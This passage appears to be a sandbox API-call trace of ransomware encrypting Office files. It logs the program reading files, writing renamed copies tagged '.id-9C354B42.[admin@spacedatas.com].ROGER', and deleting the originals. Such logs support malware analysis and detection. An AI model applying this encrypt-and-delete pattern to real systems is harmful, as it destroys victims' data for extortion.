| out: hHeap=0x790000) returned 1 [0061.108] CloseHandle (hObject=0x3ec) returned 1 [0061.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0061.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0061.108] lstrlenW (lpString=".doc") returned 4 [0061.108] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.109] lstrlenW (lpString=".docx") returned 5 [0061.109] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0061.109] lstrlenW (lpString=".pdf") returned 4 [0061.109] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.109] lstrlenW (lpString=".xls") returned 4 [0061.109] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.109] lstrlenW (lpString=".xlsx") returned 5 [0061.109] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0061.109] lstrlenW (lpString=".ppt") returned 4 [0061.109] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0061.109] lstrlenW (lpString=".zip") returned 4 [0061.109] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.109] lstrlenW (lpString=".rar") returned 4 [0061.109] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.109] lstrlenW (lpString=".bz2") returned 4 [0061.109] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.109] lstrlenW (lpString=".7z") returned 3 [0061.109] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0061.109] lstrlenW (lpString=".dbf") returned 4 [0061.109] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0061.109] lstrlenW (lpString=".1cd") returned 4 [0061.109] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0061.109] lstrlenW (lpString=".jpg") returned 4 [0061.109] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0061.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0061.109] lstrlenW (lpString=".doc") returned 4 [0061.110] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.110] lstrlenW (lpString=".docx") returned 5 [0061.110] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0061.110] lstrlenW (lpString=".pdf") returned 4 [0061.110] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.110] lstrlenW (lpString=".xls") returned 4 [0061.110] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.110] lstrlenW (lpString=".xlsx") returned 5 [0061.110] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0061.110] lstrlenW (lpString=".ppt") returned 4 [0061.110] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0061.110] lstrlenW (lpString=".zip") returned 4 [0061.110] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.110] lstrlenW (lpString=".rar") returned 4 [0061.110] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.110] lstrlenW (lpString=".bz2") returned 4 [0061.110] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.110] lstrlenW (lpString=".7z") returned 3 [0061.110] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0061.110] lstrlenW (lpString=".dbf") returned 4 [0061.110] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0061.110] lstrlenW (lpString=".1cd") returned 4 [0061.110] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0061.110] lstrlenW (lpString=".jpg") returned 4 [0061.110] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.110] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0061.110] lstrlenW (lpString="msoshext.dll") returned 12 [0061.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0061.111] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=1269648) returned 1 [0061.111] CloseHandle (hObject=0x3ec) returned 1 [0061.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 0x20 [0061.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0061.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0061.111] lstrlenW (lpString=".doc") returned 4 [0061.111] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.111] lstrlenW (lpString=".docx") returned 5 [0061.111] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0061.111] lstrlenW (lpString=".pdf") returned 4 [0061.111] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.111] lstrlenW (lpString=".xls") returned 4 [0061.111] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.111] lstrlenW (lpString=".xlsx") returned 5 [0061.111] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0061.111] lstrlenW (lpString=".ppt") returned 4 [0061.111] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0061.111] lstrlenW (lpString=".zip") returned 4 [0061.111] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.112] lstrlenW (lpString=".rar") returned 4 [0061.112] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.112] lstrlenW (lpString=".bz2") returned 4 [0061.112] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.112] lstrlenW (lpString=".7z") returned 3 [0061.112] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0061.112] lstrlenW (lpString=".dbf") returned 4 [0061.112] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0061.112] lstrlenW (lpString=".1cd") returned 4 [0061.112] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0061.112] lstrlenW (lpString=".jpg") returned 4 [0061.112] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0061.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0061.112] lstrlenW (lpString=".doc") returned 4 [0061.112] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.112] lstrlenW (lpString=".docx") returned 5 [0061.112] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0061.112] lstrlenW (lpString=".pdf") returned 4 [0061.112] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.112] lstrlenW (lpString=".xls") returned 4 [0061.112] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.112] lstrlenW (lpString=".xlsx") returned 5 [0061.112] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0061.112] lstrlenW (lpString=".ppt") returned 4 [0061.112] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0061.112] lstrlenW (lpString=".zip") returned 4 [0061.112] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.112] lstrlenW (lpString=".rar") returned 4 [0061.112] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.113] lstrlenW (lpString=".bz2") returned 4 [0061.113] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.113] lstrlenW (lpString=".7z") returned 3 [0061.113] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0061.113] lstrlenW (lpString=".dbf") returned 4 [0061.113] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0061.113] lstrlenW (lpString=".1cd") returned 4 [0061.113] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0061.113] lstrlenW (lpString=".jpg") returned 4 [0061.113] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.113] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0061.113] lstrlenW (lpString="MSOXEV.DLL") returned 10 [0061.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.467] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=56144) returned 1 [0061.467] CloseHandle (hObject=0x34c) returned 1 [0061.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 0x20 [0061.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.468] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.468] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0061.469] GetLastError () returned 0x0 [0061.469] ReadFile (in: hFile=0x34c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0xdb50, lpOverlapped=0x0) returned 1 [0061.488] WriteFile (in: hFile=0x3a4, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xdb60, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xdb60, lpOverlapped=0x0) returned 1 [0061.490] ReadFile (in: hFile=0x34c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.491] WriteFile (in: hFile=0x3a4, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0061.491] SetEndOfFile (hFile=0x3a4) returned 1 [0061.491] CloseHandle (hObject=0x3a4) returned 1 [0061.492] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.492] SetEndOfFile (hFile=0x34c) returned 1 [0061.524] CloseHandle (hObject=0x34c) returned 1 [0061.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.525] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 1 [0061.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0061.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0061.525] lstrlenW (lpString=".doc") returned 4 [0061.525] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.525] lstrlenW (lpString=".docx") returned 5 [0061.525] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0061.525] lstrlenW (lpString=".pdf") returned 4 [0061.525] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.525] lstrlenW (lpString=".xls") returned 4 [0061.525] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.525] lstrlenW (lpString=".xlsx") returned 5 [0061.525] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0061.525] lstrlenW (lpString=".ppt") returned 4 [0061.525] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0061.525] lstrlenW (lpString=".zip") returned 4 [0061.526] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.526] lstrlenW (lpString=".rar") returned 4 [0061.526] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.526] lstrlenW (lpString=".bz2") returned 4 [0061.526] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.526] lstrlenW (lpString=".7z") returned 3 [0061.526] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0061.526] lstrlenW (lpString=".dbf") returned 4 [0061.526] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0061.526] lstrlenW (lpString=".1cd") returned 4 [0061.526] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0061.526] lstrlenW (lpString=".jpg") returned 4 [0061.526] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0061.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0061.526] lstrlenW (lpString=".doc") returned 4 [0061.526] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.526] lstrlenW (lpString=".docx") returned 5 [0061.526] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0061.526] lstrlenW (lpString=".pdf") returned 4 [0061.526] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.526] lstrlenW (lpString=".xls") returned 4 [0061.526] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.526] lstrlenW (lpString=".xlsx") returned 5 [0061.526] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0061.526] lstrlenW (lpString=".ppt") returned 4 [0061.526] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0061.526] lstrlenW (lpString=".zip") returned 4 [0061.526] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.526] lstrlenW (lpString=".rar") returned 4 [0061.526] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.527] lstrlenW (lpString=".bz2") returned 4 [0061.527] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.527] lstrlenW (lpString=".7z") returned 3 [0061.527] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0061.527] lstrlenW (lpString=".dbf") returned 4 [0061.527] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0061.527] lstrlenW (lpString=".1cd") returned 4 [0061.527] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0061.527] lstrlenW (lpString=".jpg") returned 4 [0061.527] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.527] lstrcmpiW (lpString1=".CAB", lpString2=".ROGER") returned -1 [0061.527] lstrlenW (lpString="MUAUTH.CAB") returned 10 [0061.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.529] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=6747) returned 1 [0061.529] CloseHandle (hObject=0x34c) returned 1 [0061.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 0x20 [0061.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.529] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.529] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0061.530] GetLastError () returned 0x0 [0061.530] ReadFile (in: hFile=0x34c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x1a5b, lpOverlapped=0x0) returned 1 [0061.531] WriteFile (in: hFile=0x3a4, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x1a60, lpOverlapped=0x0) returned 1 [0061.532] ReadFile (in: hFile=0x34c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.532] WriteFile (in: hFile=0x3a4, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0061.532] SetEndOfFile (hFile=0x3a4) returned 1 [0061.532] CloseHandle (hObject=0x3a4) returned 1 [0061.532] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.532] SetEndOfFile (hFile=0x34c) returned 1 [0061.533] CloseHandle (hObject=0x34c) returned 1 [0061.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.533] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 1 [0061.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0061.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0061.534] lstrlenW (lpString=".doc") returned 4 [0061.534] lstrcmpiW (lpString1=".doc", lpString2=".CAB") returned 1 [0061.534] lstrlenW (lpString=".docx") returned 5 [0061.534] lstrcmpiW (lpString1=".docx", lpString2="H.CAB") returned -1 [0061.534] lstrlenW (lpString=".pdf") returned 4 [0061.534] lstrcmpiW (lpString1=".pdf", lpString2=".CAB") returned 1 [0061.534] lstrlenW (lpString=".xls") returned 4 [0061.534] lstrcmpiW (lpString1=".xls", lpString2=".CAB") returned 1 [0061.534] lstrlenW (lpString=".xlsx") returned 5 [0061.534] lstrcmpiW (lpString1=".xlsx", lpString2="H.CAB") returned -1 [0061.534] lstrlenW (lpString=".ppt") returned 4 [0061.534] lstrcmpiW (lpString1=".ppt", lpString2=".CAB") returned 1 [0061.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0061.534] lstrlenW (lpString=".zip") returned 4 [0061.534] lstrcmpiW (lpString1=".zip", lpString2=".CAB") returned 1 [0061.534] lstrlenW (lpString=".rar") returned 4 [0061.534] lstrcmpiW (lpString1=".rar", lpString2=".CAB") returned 1 [0061.534] lstrlenW (lpString=".bz2") returned 4 [0061.534] lstrcmpiW (lpString1=".bz2", lpString2=".CAB") returned -1 [0061.534] lstrlenW (lpString=".7z") returned 3 [0061.534] lstrcmpiW (lpString1=".7z", lpString2="CAB") returned -1 [0061.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0061.534] lstrlenW (lpString=".dbf") returned 4 [0061.534] lstrcmpiW (lpString1=".dbf", lpString2=".CAB") returned 1 [0061.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0061.534] lstrlenW (lpString=".1cd") returned 4 [0061.534] lstrcmpiW (lpString1=".1cd", lpString2=".CAB") returned -1 [0061.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0061.534] lstrlenW (lpString=".jpg") returned 4 [0061.534] lstrcmpiW (lpString1=".jpg", lpString2=".CAB") returned 1 [0061.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0061.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0061.535] lstrlenW (lpString=".doc") returned 4 [0061.535] lstrcmpiW (lpString1=".doc", lpString2=".CAB") returned 1 [0061.535] lstrlenW (lpString=".docx") returned 5 [0061.535] lstrcmpiW (lpString1=".docx", lpString2="H.CAB") returned -1 [0061.535] lstrlenW (lpString=".pdf") returned 4 [0061.535] lstrcmpiW (lpString1=".pdf", lpString2=".CAB") returned 1 [0061.535] lstrlenW (lpString=".xls") returned 4 [0061.535] lstrcmpiW (lpString1=".xls", lpString2=".CAB") returned 1 [0061.535] lstrlenW (lpString=".xlsx") returned 5 [0061.535] lstrcmpiW (lpString1=".xlsx", lpString2="H.CAB") returned -1 [0061.535] lstrlenW (lpString=".ppt") returned 4 [0061.535] lstrcmpiW (lpString1=".ppt", lpString2=".CAB") returned 1 [0061.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0061.535] 